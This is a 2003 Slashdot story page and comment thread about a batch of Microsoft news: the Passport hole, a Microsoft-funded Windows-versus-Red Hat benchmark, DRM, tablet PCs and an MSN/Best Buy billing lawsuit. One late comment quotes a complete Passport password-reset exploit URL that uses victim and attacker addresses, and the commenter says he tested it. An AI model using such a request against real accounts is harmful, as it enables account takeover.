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What's Microsoft Up To? 744

So, today's one of those days when every bit of news is dominated by Microsoft. To spare you six different stories about the Borg, we'll assimilate them all into this one. You have seen the stupid Passport hole in an earlier story; also the iLoo, although that hasn't stopped you from submitting stories about it, oh no. New news: a report paid for by Microsoft shows that Windows is a better server than Red Hat. A class-action suit has been filed charging that MSN and Best Buy combined to scam customers. The WINHEC conference is ongoing - Steve Ballmer says DRM is an opportunity, not a prison, the Xbox is going to be your home communications center, Wired talks about how hardware will be changed to imprison users, and once you're locked in to Microsoft you get to pay more each year. An article describes why user desktops are locked down. Oh, and here's another on DRM, just because.
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  • by Joe the Lesser ( 533425 ) on Thursday May 08, 2003 @10:34AM (#5910481) Homepage Journal
    Whatever Miiiiicrosoft wants..
    Miiiicrosoft gets...
    • Re:sing with me (Score:5, Interesting)

      by 4of12 ( 97621 ) on Thursday May 08, 2003 @10:51AM (#5910664) Homepage Journal

      Yes, we all know that it's true.

      And they're certain to want to rope off pieces of pie for themselves.

      Despite all this, though, I think the general idea of a PC with the functionality of "Athena" is a good idea. If MS uses it's big cudgel to bring down the PC decibel level (you can hear `em whining already - "but we gotta cool our 4 GHz chips!"), increase the reliability (go ahead and use cheap capacitors - we won't let you put a quad-color sticker on the outside), and standardize hardware interfaces for telephony, then that would be a largely positive move.

      Of course, as Linux user, I'd like to see all these new standards published openly and available for free to anyone who thinks they could implement them.

  • iLoo dupe? (Score:5, Funny)

    by Wrexen ( 151642 ) on Thursday May 08, 2003 @10:34AM (#5910487) Homepage
    ...although that hasn't stopped you from submitting stories about it, oh no

    We know you're easily tricked :)
  • WINHEC (Score:5, Funny)

    by s20451 ( 410424 ) on Thursday May 08, 2003 @10:34AM (#5910488) Journal
    Is WINHEC where you go if you're darned for all eternity after pirating windows?
  • by Gingko ( 195226 ) on Thursday May 08, 2003 @10:35AM (#5910497)
    "You have seen the stupid Passport hole in an earlier story; also the iLoo, although that hasn't stopped you from submitting stories about it, oh no."

    With all due respect, it never stopped you posting stories about them either ;)

    Henry
  • So... (Score:3, Insightful)

    by Lord Kholdan ( 670731 ) on Thursday May 08, 2003 @10:35AM (#5910498)
    Is Slashdot running out of news?

    I dont think "there has been lots of news about MS in Slashdot" counts as news.
    • Re:So... (Score:3, Insightful)

      by descil ( 119554 )
      Rather say that Slashdot is tired of posting MS news and having hundreds of worthless flame posts about them; thus, rather than posting an additional 4 posts about Microsoft, Slashdot has condensed them to save space. Thank you, Slashdot.
  • by asv108 ( 141455 ) * <asv AT ivoss DOT com> on Thursday May 08, 2003 @10:35AM (#5910501) Homepage Journal
    6 months ago everything you heard from MS was about tablet PC's and how they were going revolutionize everyone's computing experience. Maybe MS figured out that not everyone wants to use a stylus with their computer or has a need to work standing up? I wouldn't mind having stylus functionality on my ultraportable laptop screen but the idea that tablets are going to create a whole new mainstream sector of computing is far fetched.
    • by Lxy ( 80823 ) on Thursday May 08, 2003 @10:41AM (#5910561) Journal
      Tablet PCs are alive and well. XP tablet edition is out, and manufacturers are releasing their new products. Just the other day a product rep from Gateway stopped by to show off the new line of Gateway tablets, starting around $2500. On this particular model, the handwriting recognition is nearly FLAWLESS. Made me drool, as much as I hate Gateway. Other units are priced as low as $1300 if you shop around. I believe there's a FiC model floating around for that price.

      Tablets are alive and probably replacing a laptop near you.
      • by killerc ( 462845 ) on Thursday May 08, 2003 @11:10AM (#5910847) Homepage
        Tablets are alive and probably replacing a laptop near you

        Just because they're manufacturing them doesn't mean we're buying them. Stacks of Tablet PCs will probably be on clearance at a retailer near you.
      • by jdreed1024 ( 443938 ) on Thursday May 08, 2003 @11:14AM (#5910876)
        Tablets are alive and probably replacing a laptop near you.

        With all due respect, bullshit.

        I test drove two tablet PCs recently (one from Motion Computing, the other I can't remember) for about a week each. They were certainly cool, and they invoked much drooling and exclamations of "ooh, shiny!" from my co-workers, but boy did they suck for daily work.

        Here's a brief summary of my testing:
        Pros:

        • no flip-up screen to break
        • handwriting recognition is quite good
        • excellent for "Note taking", where you draw right on the screen, and then later either save it as an image, for printing, or have it attempt to recognize the handwriting

        Cons:
        • handwriting recognition is predictive (ie: it differentiates between a captial I, lowercase L, and numerial 1 by the characters that came before or after). In random sequences (read: good passwords), this fails miserably. I was forced to use the pickboard (a picture of a keyboard on the screen, and you use the stylus to press the buttons) for passwords, and boy did it suck. I had to have my SSH client save my password (which is insecure, but the tablet was kept in a locked drawer when not in use, so whatever).
        • Handwriting recognition is still too slow compared to a keyboard
        • graphics programs (photoshop, etc) are a dead loss without a mouse and keyboard shortcuts.
        • configuring things is really slow. It took forever to enter the PPP config for my ISP.

        Of course, they don't run Linux (there is some testing going on, and I found one person who got a kernel to boot, but no usable distros yet), but that's not that big of a deal for me. I'm concerned with usability primarily, and tablets failed that test.

        They will not replace laptops anytime soon. What might replace laptops are those laptops that double as tablets (where the monitor rotates, and then folds, so the laptop is closed, but the monitor faces out). Those might catch on. But laptops will not be replaced by tablets until handwriting recognition becomes just as fast (if not faster) than typing, with reduced errors.

        What tablets will replace are notepads (the dead tree kind, I mean) and legal pads and the like. The one use I found for the tablet was for taking notes in meetings. I can go back and write on the upper part of the screen, if there's something I missed, rather than having to PgUp and delete and re-type. I can then digitize the notes later, or print them out as images. Tablets are great for that. I predict they'll be used mostly by PHB types or folks who attend lots of meetings and need to take notes. They will not replace conventional laptops for a long, long time, if ever.

        • by stratjakt ( 596332 ) on Thursday May 08, 2003 @11:50AM (#5911184) Journal
          - People dont get Tablets to run Photoshop.

          They are currently a niche product, sure, but they're great on a sales floor or to take quick notes in the field.

          The home inspector who did my walkthrough had a tablet PC, and it suited him fine for checking off boxes, jotting a few notes, making some quick sketches, and then printing me a hard copy.

          This is the hardest thing for computer geeks to understand: not everyone has the same demands of a computer that they do.

          For many people, a tablet PC is a much better fit than a laptop. Comparing the two is like comparing a PDA with Gameboy Advance.
        • by julesh ( 229690 ) on Thursday May 08, 2003 @12:47PM (#5911680)
          handwriting recognition is predictive (ie: it differentiates between a captial I, lowercase L, and numerial 1 by the characters that came before or after). In random sequences (read: good passwords), this fails miserably.

          That's because passwords (as used at the moment) are designed for keyboard use. Once the use of devices like this becomes common, alternatives will arise. Passwords can be replaced by drawing complex abstract patterns (kind of like a signature). For remote access, the pattern would be processed through some kind of hashing function to produce an alphanumeric password.
      • by Realistic_Dragon ( 655151 ) on Thursday May 08, 2003 @12:34PM (#5911579) Homepage
        After using a tablet w/WinXP, I realised how right the person was who said:

        "Tablet is the wrong word for this - the whole experience has more in common with a suppository."
    • by clarkc3 ( 574410 ) on Thursday May 08, 2003 @10:42AM (#5910582)
      they decided the best way to get the tabletpc going was to mount it on the wall of a port-a-potty and call it iLoo
    • NOt at there current cost, but there is a lot of places they would be used.
      Replace charts in hospitals, the ability to pull up 3d image of an architect design while walking around a site, warehouse so you can compare inventory lists to actual product, at home so you could carry into the kitchen for recipes, stream some music to it, lok up something about your favorite tv show. I can see many ses for them, but the cost is just too high. If the could gut the cost to less then 400 bucks with color and a decent spec, they wuld start appearing everywhere.
      • by easyfrag ( 210329 ) on Thursday May 08, 2003 @12:19PM (#5911428)
        OK, I keep hearing about how all hospitals are going to roll Tablet PCs out. I work in a 1000 bed hospital and we are preparing a test rollout of Tablets because on the surface they look like they may fit in a hospital enviornment. My own personal experience with both tablets and the hospital staff who will use them leads me to predict the following:

        The nurses will lose the damn pens, and I'm not sure but I don't think that replacing them will be on the scale of replacing a bic, the pen on a Compaq tablet has a battery.

        The nurses will lose, drop, or spill something over the devices. When we first rolled out pagers to nurses many came back broken and still do, a fairly large number ended up in toilets (poorly designed clips were the problem there). The point is that most health care workers have physically demanding, mobile jobs.

        Most importantly the battery life of this generation of tablets is nowhere near the length neccessary. Most of our nurses work 12 hour shifts, they are not going to want to have to charge or swap batteries every day.

        If anyone out there works in a hospital and have tested or rolled out these devices I would love to hear about your experiences.

        • by GMFTatsujin ( 239569 ) on Thursday May 08, 2003 @02:09PM (#5912447) Homepage
          Excellent points. I'd also like to bring up another thought this, which is similar to the problems we're having in our own hostipal with portable devices: HIPAA Compliance.

          At the moment, there is a profound lack of IT Infrastructure to accomodate these systems. Issues of security are HUGE, involving things like wireless data transmission encryptions, client/server interaction (and *licensing* --per seat? per device? per user? per connection? You figure it out). Then there are the purely technical issues, like implementing the wireless hardware with appropriate coverage (and security there too -- drive-by WAN, anyone?) , acquiring new IPs and subnetting issues, not to mention the fact that the strength and weakness of these things is that someone can just up an walk away with them... Then there are the personal issues you brought up, plus training and support considerations.

          Dear Lord, save me from this kind of starry-eyed Star Trek wanna-be hallucination of the future. $1000 for a glorified clipboard? I can't think of any health care department in the state that could justify that.

          And that's only for the two hours that the tablets can actually run on given the battery life. So now we need multiple battery packs and charging stations on every floor...

          Kill me.
          GMFTatsujin
    • by geddes ( 533463 ) on Thursday May 08, 2003 @10:56AM (#5910715)
      Gateway gave our school a $3000 demo unit, and I was allowed to use it for a day.

      I must say, it was pretty hot. I took it into class, I loaded up the journal program and took notes with it, I had the day's reading (which had been distributed via electronic reserve) loaded into acrobat reader, and it worked well. The best was, of course, the wireless internet, and as we were discussing the latest nigerian elections I was able to pull up nyt.com and report on the latest news from the region.

      On the other hand, I found the handwriting recognition horrible (it's supposed to learn your handwriting as you use it, which is why it always works so well for the demo people). The process of converting my three pages of notes from the journal program to ascii text took about a half hour - it would have been faster to retype them. Battery was almost dead after a 2 hour class, and I couldn't have used it in more than one class. Taking notes is fine, cause you can clean it up later, but basic input is very difficult (entering nyt.com via handwriting took about 60 seconds, and then I had to enter my username and password - and since the password was **** starred out, I didn't really know whether it had correctly interpereted my handwriting until I got the big error screen from the times.

      My conclusion: TabletPCs are the future for academic environments, but not for three or four generations of the products, and not until apple makes one :-p.

    • Does Bill Gates use a Tablet PC? No, he uses a yellow pad of paper. ( Jon Udell's blob [infoworld.com], Ron Howard's blog [dotnetweblogs.com])
  • by friedegg ( 96310 ) <bryan@NoSPAM.wrestlingdb.com> on Thursday May 08, 2003 @10:35AM (#5910504) Homepage
    Anyone see this new Microsoft robot [webmasterworld.com] crawling their websites? It's apparently legitimate [webmasterworld.com], or at least acknowledged by Microsoft. Competition for Google?
    • I don't think the quality of their index is really the issue. Sure, Inktomi has sucked for a long time and as a result MSN has sucked right along with it... MSN's popularity is completely based on changing the users homepage to MSN with each update and stealing 404 traffic. Since updates are automatic for WinXP, the number of folks using MSN as their homepage will explode as folks retire their Win95/98/ME boxes.

      The interesting variables in this equation have nothing to do with the quality of MSN's sear
    • by Winterblink ( 575267 ) on Thursday May 08, 2003 @11:18AM (#5910917) Homepage
      It's already been put out there that Microsoft wants a piece of the search engine pie. Their current MSN search is horrible, and Google is far superior. Is it competition for Google? Maybe. And I welcome it. Google's done some amazing things with their search engine, and I'd love to see what they can do with a hefty bit of competition. Because right now they really have none. If Microsoft can build a better search engine then let them try.
  • by bugsmalli ( 638337 ) on Thursday May 08, 2003 @10:37AM (#5910510)

    to the iLoo?
  • by limekiller4 ( 451497 ) on Thursday May 08, 2003 @10:39AM (#5910536) Homepage
    From another CNN article released yesterday [cnn.com], Gates says this of DRM:
    "Consumers shouldn't be worried that Microsoft Corp.'s new security technology will wrest control of their PCs and give it to media companies, Bill Gates said this week. They can always choose not to use it, he said."

    Holy poopy-poop, that's misleading. People are going to read this and think "they" means "them." As in "the consumer can always choose not to use it." It, of course, doesn't. It means the creators of the content. And there goes fair use. And while I'm on it, can someone who is a lawyer tell me if we have a right to fair use or is it merely a thing that we've enjoyed because copyright holders couldn't ever get such a firm grip on it enough to effectively control it?

    But anyway, back to the issue. In the same article further down, we see:

    "Gates said the format of digital content is up to their creators, and Microsoft is only providing a platform on which record labels and movie studios -- as well as others -- can build."

    This is a fairly reasonable argument, not so different from the people who run Kazaa saying "hey, we're just an indexer, blame the end-user." Perhaps Microsoft isn't culpable here, either. What they're creating here is a valid tool, one that can allow people a strong form of encryption. The blame for the abuse of that tool, I think, does not rightfull belong in Microsoft's lap.

    You might correctly argue that MS is doing this knowing full well that abuse is going to occur and stands to profit from it. Again, Napster et al. We cannot play both sides of the fence here.
    • by DirtyCowboy ( 456226 ) on Thursday May 08, 2003 @11:02AM (#5910773)
      And while I'm on it, can someone who is a lawyer tell me if we have a right to fair use or is it merely a thing that we've enjoyed because copyright holders couldn't ever get such a firm grip on it enough to effectively control it?

      I am a lawyer. I am not completely sure on this issue, as I have not had a lot of time to research it. It appears as though the issue is split. Some courts refer to fair use as a right, some as a privelege.

      Fair use is provided by statute, not the Constitution:

      107. Limitations on exclusive rights: Fair use
      Notwithstanding the provisions of sections 106 and 106A, the fair use of a copyrighted work, including such use by reproduction in copies or phonorecords or by any other means specified by that section, for purposes such as criticism, comment, news reporting, teaching (including multiple copies for classroom use), scholarship, or research, is not an infringement of copyright. In determining whether the use made of a work in any particular case is a fair use the factors to be considered shall include --
      1) the purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;
      (2) the nature of the copyrighted work;
      (3) the amount and substantiality of the portion used in relation to the copyrighted work as a whole; and
      (4) the effect of the use upon the potential market for or value of the copyrighted work. The fact that a work is unpublished shall not itself bar a finding of fair use if such finding is made upon consideration of all the above factors.

      The Supreme Court has described it as follows: "Any individual may reproduce a copyrighted work for a 'fair use'; the copyright owner does not possess the exclusive right to such a use." Sony Corp. of America v. Universal City Studios, Inc., 464 U.S. 417, 433, 78 L. Ed. 2d 574, 104 S. Ct. 774 (1984).

      I don't think the issue has been presented to the courts in this manner (there haven't been many copy protection schemes for thinks like books, e.g., they aren't printed on red paper to stop photcopying). I would say that a court would hodl a content producer can use DRM, but if you hack the DRM, thus allowing you to make copies, you can make copies for various fair uses. However, the hacking itself (i.e, bypassing the DRM) may be illegal under the DMCA. This probably trumps the fair use right (remember, its source is statutory -- not constitutional) in that if you can't make copies legally, you can't exercise your fair use right/privilege.

      Alas... the problem is that the various statutes are either out of date (e.g., Copyright Act) or responses to an uncertain environment, goaded by lobbyists (e.g., DMCA).

  • by SpikyTux ( 524666 ) on Thursday May 08, 2003 @10:40AM (#5910542)
    Hmm... let me see if I can make this argument valid...

    Cost:
    Windows: Expensive (especially if you count licenses)
    RedHat: You either pay or don't (download). It's Linux.

    Support:
    Windows: Support costs you hell a lot of money
    RedHat: If you can't afford to pay RedHat, it's Linux for God's sake. There're thousands of people on the net willing to help you.

    Documentation:
    Windows: None
    RedHat: It's Linux, damn it. RTFM :P

    Source code:
    Windows: None
    RedHat: It's Linux. You get the source code.

    Patches:
    Windows: Waiting for patches if Microsoft has the time and mood to fix it. Service packs come out once in a blue moon.
    RedHat: It's Linux. Thousands of people have access to the source code. Bug fixes come out rapidly.

    Hmm.... Windows is better than RedHat?
    • by BFKrew ( 650321 ) on Thursday May 08, 2003 @10:56AM (#5910714)
      Before I get ripped into for this, I will point out I use Windows 2K at work, write programs for .Net framework but use Red Hat at home for my deskto and server.

      The 'cost' of Windows is not as straight forward as 'buying' a Windows 2K server license or downloading Red Hat. I know in my area that someone who is a real expert in W2K will cost around £30k/year and I'd have a choice of them, yet the cost for a Red Hat specialist is -far- more expensive. It's more in the £40k region at least, and I'd not have many to choose from. Therefore, the cost of the software is beset by the personnel costs.

      Support wise: I agree that there's enough information on the web for RH but also Windows. However, unless your a large organisation you shouldn't rely on a support contract. I'd not hire a £45k Red Hat expert to run the servers and expect him to rely on a support contract.

      Documentation? You don't need it really do you? Do I need a manual for C#? SQL Server? Notepad? IE?

      Source code: Ok, you get the source code. For me, that's not a selling point. For some it is though, I conceed.

      Patches: 2K server is very stable. If you secure a 2K machine and make sure that it's properly patched you're not likely to get into trouble. Sorry, you might not like to hear it but it's true. Badly patched machines - whether Linux, Mac or Windows boxes are badly patched machines.

      I don't think that the RH vs Windows is as simple as you make it. I am not a great fan of MS but some of the stuff they are doing is damned impressive - and I use RH.
      • by saintjab ( 668572 ) on Thursday May 08, 2003 @11:10AM (#5910837) Homepage Journal
        It's nice to hear some reason within the millions of MS bashing posts. The security and reliability of any server lies squarely on the administrator. There are millions of Windows machines in the wild that can be exploited at the drop of a hat; same true for *NIX. Not because the OS sux, but because they have not be properly configured and secured. Win2000 and WinXP are very reliable products. Almost to the point that I will agree that MS might have shot themselves in the foot to some degree; but me being the consumer, I only see a benefit to that argument.
    • by Anonymous Coward on Thursday May 08, 2003 @11:10AM (#5910836)
      I am a windows dev for past 4 years.


      Documentation:
      Windows: None


      There is more documentation for windows than i can shake a stick at. To this day, i haven't met one issue that i didn't resolve via MSDN, KB or Google/Newsgroups.


      Support:
      Windows: Support costs you hell a lot of money
      RedHat: If you can't afford to pay RedHat, it's Linux for God's sake. There're thousands of people on the net willing to help you.


      Considering you rarely need any support with Windows, and setting up the simplest things on Linux is a torture. Do we also want to spend the time figuing out something that the program creator should have?


      Patches:
      Windows: Waiting for patches if Microsoft has the time and mood to fix it. Service packs come out once in a blue moon.
      RedHat: It's Linux. Thousands of people have access to the source code. Bug fixes come out rapidly.


      This is just pure FUD bullshit. MS is very responsive to bugs, especially nowadays. Fixes are released sometimes hours after bugs are found. Subscribe to the security newsletter [microsoft.com] and find out for yourself.

      Windows also reports less annual bugs than Linux, this [zdnet.com.au] is an old article, but the pattern continues to this day. A little search on SecurityFocus will show you.

      Hmm.... Windows is better than RedHat?

      Depends on your background. Don't be a stupid troll.
    • Support:
      Windows: Support costs you hell a lot of moneybr> RedHat: If you can't afford to pay RedHat, it's Linux for God's sake. There're thousands of people on the net willing to help you.


      I think you meant...
      RedHat: If you can't afford to pay RedHat, it's Linux for God's sake. There're thousands of people on the net willing to help you install Debian, BSD, Gentoo, Mandrake or some other distro that won't charge you out the ass for Eratta support.
  • by CowboyBob500 ( 580695 ) on Thursday May 08, 2003 @10:40AM (#5910546) Homepage
    ...they're running SAMBA. For balance I think they should test Windows 2003 throughput of NFS.

    Bob
    • by binaryDigit ( 557647 ) on Thursday May 08, 2003 @10:47AM (#5910621)
      ..they're running SAMBA. For balance I think they should test Windows 2003 throughput of NFS...they're running SAMBA. For balance I think they should test Windows 2003 throughput of NFS.

      No, not really. SAMBA is a valid requirement since in most instances the clients accessing the server will be Windoze. Any hope of "real world" testing would take this into account. The reverse is not true however, the odds of a Win2k3 server serving up a bunch of non Windoze machines is pretty slim (and pity the person who has to rely on NFS for any kind of performance).
      • by brad-x ( 566807 ) <brad@brad-x.com> on Thursday May 08, 2003 @11:23AM (#5910951) Homepage

        Unfortunately they also left much of the Linux network stack untuned even though they altered all of two settings in samba's config file.

        They then proceeded to tune the hell out of the Windows server, altering things like file locking semantics, network timeouts and dormant file limits in order to eke out more speed.

        Hope someone else has picked up on this imbalance in the optimisation of the systems....

    • by Marillion ( 33728 ) <(ericbardes) (at) (gmail.com)> on Thursday May 08, 2003 @01:21PM (#5912014)
      There is one obvious hole that I found.
      They turned off the last file access on the Windows servers, but not the Linux servers. Every file hit on Linux got turned into an I-Node update that didn't occur to Windows.
      This can be done by "mount -o noatime /mntpoint"
  • Microsoft pays for a test that shows that Windows 2003 is twice as fast. That's nice. But not very productive.

    I see nothing in the report that they had a Red Hat guru optimize the Red Hat server. It is easy to get the results you want. If I don't see proof that Red Hat was configured by a Red Hat guru, as I am sure that Windows 2003 was optimized by a Microsoft guru, then the tests are bunk.

    -Brent
    • by julesh ( 229690 ) on Thursday May 08, 2003 @10:56AM (#5910713)
      They disabled last access time updating under windows. They didn't under Linux. This is enough to account for these differences, I suspect.
      • They also set up the servers with one NIC for each CPU. The uniprocessor box had one ethernet card, while the 8-way box had eight ethernet cards. If I remember, this is similar to the Mindcraft tests, where they tested file and web serving performance on systems having four ethernet adapters. I wouldn't call this a normal real-world configuration.

        Maybe there are some cases where a fileserver is connected to several separate ethernet networks, but in my mind, that's an unusual configuration. I wonder if
    • But hey, at least VeriTest was honest enough to put that fact (that the test was paid for my MSFT) right up front, unlike the Mindcraft back in 1999.

      The subtitle ("Test report prepared under contract from Microsoft") definitely makes me think, "Take these results with a very LARGE grain of salt." Don't get me wrong ... I would be just as sceptical of the result if Red Hat had paid for the study and the result had shown RH parity or superiority to WinServer2k3. Frankly, the only time I think these co
  • by inertia187 ( 156602 ) * on Thursday May 08, 2003 @10:41AM (#5910565) Homepage Journal
    287th Rule of Acquisition, "DRM is an opportunity, not a prison."

    Proof [no-ip.com].
  • by SimplyCosmic ( 15296 ) on Thursday May 08, 2003 @10:42AM (#5910579) Homepage
    From the article:
    Plaintiff Samuel Kim said he unwittingly became a victim in February after making a purchase at a Best Buy store in Los Angeles with his debit card. At checkout, a store employee scanned Kim's debit card and, without any explanation to him, scanned a trial MSN compact disc and placed it in his shopping bag, the lawsuit said.

    Now I'll be the first to note that the man should have paid closer attention to his receipt, but this is definitely not uncommon at many Best Buys.

    The Best Buy corporation likes to make a marketting bullet point about how their salespeople are not paid commissions and therefore aren't going to pressure you into sales you don't need. However, they conveniently forget to mention that the sales records of these employees are carefully tracked and while they don't get the positive re-enforcement of a commission income, they get plenty of negative re-enforcement for failing to push MSN, Netflix, service plans or anything else the corporate HQ wants customers to buy into.

    Besides seeing such happen as a customer, I worked myself at a Best Buy for an entire eight hours in their computer department a year back and watched one the saleskids first try to push the MSN subscription on a customer who refused it the eight times it was asked, and then had it put on his credit card by the worker anyways.

    When I asked the sales manager about the legality of this he merely muttered something about it being the customer's responsibility to keep track of their receipt and that he rewarded such agressive tactics.

    I quit that job right then and there.

    More horror stories [bestbuysux.org] for those look for an entertaining, though depressing read.

    • Mmmm, okayyy, but 15 is the *minimum* number of pieces of flair. Do you want to be satisfied just doing the minimum? I thought you said you wanted to express youself -- like Brian over there...

    • Best Buy is absolutely horrible. My brother and I were buying a new computer for my grandma. They had an emachine for like $300. I know that emachines have bad reputations, but I have actually been really impressed by the new ones. Anyway...they tried to sell us everything under the sun. Did we want Norton Antivirus? No...AVG works just fine. Did we want to sign up for DSL? No, we already have DSL. But that didn't stop them from asking another 10 times. Did we want MSN? No, she was already using
      • by hendridm ( 302246 ) * on Thursday May 08, 2003 @12:48PM (#5911695) Homepage
        Ahh, it was customers like you that made me want to tell you to get the hell out of the store, because that computer you just walked out the door without any addons meant me getting hassled by about 3-4 different people. Sometimes, if a customer clearly wasn't interested in service, I would wander away hoping they would leave or that some other employee would get the "bad sale".

        That's one reason employees avoid eMachines like the plague - they're tough to sell service plans on. Who wants to pay $99 for a service plan on a $300 computer? Most people buy a $300 computer to be a throw-away anyway.

        So next time you're in Best Buy and you say no to the addons and service plan, just remember the employee hates you more than you probably hate him/her.

        With EVERY computer, we were REQUIRED and harassed beyond belief if we did not try to sell the following with each computer: Printer, paper, blank CDRs, software from the "discount rack", Norton anti-virus, UPS, $30 USB cable, Service Plans (on the computer, monitor AND printer), extra toner cartridges, MSN, and my personal favorite, "system optimization" for like $30, which included them deleting a few AOL icons off the desktop (Best Buy only offered Earthlink and MSN at the time) and running defragment. woot!

        Best Buy lackey: "Did you get service on that?"
        Me: "No."
        Lackey: "Why not?"
        Me: "They weren't interested."
        Lackey: "What did you tell them?"
        Me: (the usual spiel) "I told them that if the thing died on them they would have to deal with the manufacturer (lie), but with the service plan we would take care of it. I told them how the integrated CD-ROM is often times the first thing to go, which is $100 for eMachines. I told them about our no-lemon policy and how one service call would probably take care of the cost of the plan."
        Lackey: "So what did they say."
        Me: "They said that if it broke they would just buy a new one and that they don't believe in service plans."
        Lackey: "Well, did you get any software out on it?"
        Me: "Nope, they said they have all the software they need."
        Lackey: "How about a surge supressor or some blank CDR's?"
        Me: "Nope, they said the were just interested in the computer and that's it"
        Lackey: "Did they at least put it on their Best Buy card?"
        Me: "They said their Visa works just as fine."

        Now for the best part. Pick your insult:

        1. Lackey: "Well, if they didn't want that stuff, you must not have sold it right."
        2. Lackey: "If I would have done the sale, I gaurentee they would be walking out of here with at least a battery backup or Norton"
        3. Lackey: "You're ruining our numbers for the night! Come on! You gotta get those addons!"

        I won't even want to get started on the bitching I would get if the computer didn't go out with an MSN subscription. Most of the time we were suppose to tell them that it was required with the purchase, and if they threatened to leave the store, THEN tell them, "Ok, I guess I can make an acception in your case."
  • Now that is a scam (Score:5, Informative)

    by Anonymous Coward on Thursday May 08, 2003 @10:42AM (#5910584)
    For those that haven't read the MSN scam ariticle, let me summarize it. A guy bought some stuff at Best Buy and paid with a debit card. The check out person scanned an MSN CD and dropped it in the bag as well, saying the scanning was for inventory purposes. The debit info is sent to MS who then starts billing the customer's debit card for MSN service. Now that is a shitty deal. That would be like having a car dealer send your credit card or bank account info to a local garage, AAA, OnStar, and the LoJack folks for you and they all start billing you automagically. I hope he wins. This suit certainly has merit IMHO. I hope he doesn't back out on the suit and doesn't settle. Best of luck to him.
  • by tuffy ( 10202 ) on Thursday May 08, 2003 @10:47AM (#5910625) Homepage Journal
    I suppose if you try and bypass DRM, the DMCA will provide you an opportunity to go to prison.
    • From the Ballmer email:

      Intranet content. A manager with a toy manufacturing company uses its enterprise information portal to see year-over-year sales data on screen. The company has confidence in posting this sensitive information because specific usage restrictions have been applied to it. The manager gets the information she needs, conveniently, but because she cannot print, copy or paste it, sensitive sales data are protected from inadvertent (or deliberate) sharing with a competitor.

      Email communic
  • by Keck ( 7446 ) on Thursday May 08, 2003 @10:48AM (#5910636) Homepage
    Microsoft commissioned VeriTest, a
  • Okay, so it is rather redundant to say, but any benchmarking / testing paid for by a party is pretty much guaranteed to be biased in favor of that party.

    Anyway, what is up with all the (ONLY 3?) testing systems being PIII Xeons? Where are the AMD chips for comparison? Sounds like Microsoft made sure the systems and benchmarks were very thoroughly optimized in their favor.

  • by OpCode42 ( 253084 ) on Thursday May 08, 2003 @10:49AM (#5910648) Homepage
    Found this, and was quite amused. [theinquirer.net] Perhaps its going to be spookily accurate?
  • by dpbsmith ( 263124 ) on Thursday May 08, 2003 @10:58AM (#5910736) Homepage
    ...With regard to IT's (real!) need to lock down desktops...

    We need a new definition of OS stability.

    Today, "stability" basically refers to the ability of an OS to run without crashing _in the absense of configuration changes_.

    In the real world, there are ongoing needs to install new software, apply patches, updates, etc.

    In a system that had proper modular design, it should be possible to install something new or change a legitimate setting without feeling that you're playing Russian Roulette.

    CERTAINLY it should be possible to install vendor-recommended updates with a high level of confidence that it's not going to break something.

    Remember all that stuff a few years back, that implied that the problem with stability was that people weren't keeping their systems properly updated and that "self-healing" systems would fix that? Well, now, we all but have them, and, in fact, it's made things worse.

  • Article Overload (Score:4, Interesting)

    by flogger ( 524072 ) <non@nonegiven> on Thursday May 08, 2003 @10:59AM (#5910738) Journal
    Aiiiee.......
    I like
    • posting
    • reading articles
    • reading posts
    • thinking about posts
    But there is too much here in this article that covers a lot of different ground. I think I'll give this topic a break and read a book today during my break.

    (It's like last couple of /. polls. Too many choices.)

  • by mj01nir ( 153067 ) * on Thursday May 08, 2003 @10:59AM (#5910740)
    That's so... 1996. This is one of the tactics Novell tried to use to keep corporations from replacing NetWare with NT. What Novell found out is that no one cared about file server performance. As long as the performance was "good enough" and Windows had more gizmos, they were screwed.

    Of course, this is just one part of Microsoft's strategy against Linux and OSS. But I'm pretty sure that this salvo will fall on deaf ears.
    • "Of course, this is just one part of Microsoft's strategy against Linux and OSS. But I'm pretty sure that this salvo will fall on deaf ears."

      You're right. Nobody has been listening to the Samba people claim their server was faster.

      This was more of a pride thing to Microsoft. They saw an article showing their server was not the fastest one out there, and so they went to their developers and said "fix this."

      And so they did. Now it's not just faster, it's signifigantly faster.

      That's the nature of compet
  • by Anonymous Coward on Thursday May 08, 2003 @11:00AM (#5910747)
    I saw this comment on LWN yesterday, pointing out that they were comparing the PEAK throughput. Windows 2003 may have a higher number for this, but it's the overall throughput that really matters.
  • MSFT Stock (Score:5, Insightful)

    by Beatbyte ( 163694 ) on Thursday May 08, 2003 @11:00AM (#5910756) Homepage
    Its so horrible to see a company like this doing dirty business everywhere, getting sued like mad, and yet, their stock is UP!!!!!

    But no, this company is not a monopoly at all.
  • by awakened tech ( 630189 ) on Thursday May 08, 2003 @11:00AM (#5910757)
    From what they say in the wired article I can see DRM being extremely dangerous. If you can sign an email, making it only viewable by the intended recipient and stopping them from print/forwarding/saving, then you could very easily mount a campaign of e-stalking, sendingv vulgar and/or threatening emails and the person receiving them unable to remove them or forward them to anybody who can help.
  • by griffjon ( 14945 ) <GriffJon@@@gmail...com> on Thursday May 08, 2003 @11:04AM (#5910792) Homepage Journal
    Damn, I forgot slashdot doesn't support tags in the subject.

    From Security Focus link:

    It is so simple that it is funny.
    All you got to do is hit the following in your browser:
    https://register.passport.net/emailpwdre set.srf?lc =1033&em=victim@hotmail.com&id=&cb=&prefem=attacke r@attacker.com&rst=1 ...


    I can verify that it does work (just now changed my own password). No authentication required at all.

    Hey, um, What's Bill's address?
  • by DrCode ( 95839 ) on Thursday May 08, 2003 @11:07AM (#5910811)
    Usually Microsoft is the master of marketing terms. Consider their use of "wizard technology", really little more than a cascading series of prompts shown in dialog boxes.

    But who came up with "nexus"? Sounding slightly like "matrix", it conjures up images of Dr. Evil laughing maniacally as he launches his latest plot. (Come to think of it, Balmer also reminds me of Dr. Evil.)
  • by CaptainAlbert ( 162776 ) on Thursday May 08, 2003 @11:12AM (#5910862) Homepage
    Redmond, WA: In an unprecedented press briefing Friday, Microsoft Corporation announced its intention to establish itself as a sovereign nation. While only sketchy details have been released so far, it has emerged that Microsoft's Chief Software Architect and President Elect Bill Gates has purchased a small archipelago off the coast of Cuba. The company's Seattle headquarters are to be dismantled and transported there immediately by boat.

    Microsoft CEO and Foreign Minister Steve Ballmer said, "This transformation marks the beginning of a new era for Microsoft. Becoming an independent nation will allow us to streamline our operations beyond what has previously been possible. Besides, our net yearly revenue already exceeds the GDP of 60% of the world's other countries, and we employ approximately as many people as live in Greenland. Plus, we didn't have to think very hard to come up with a flag."

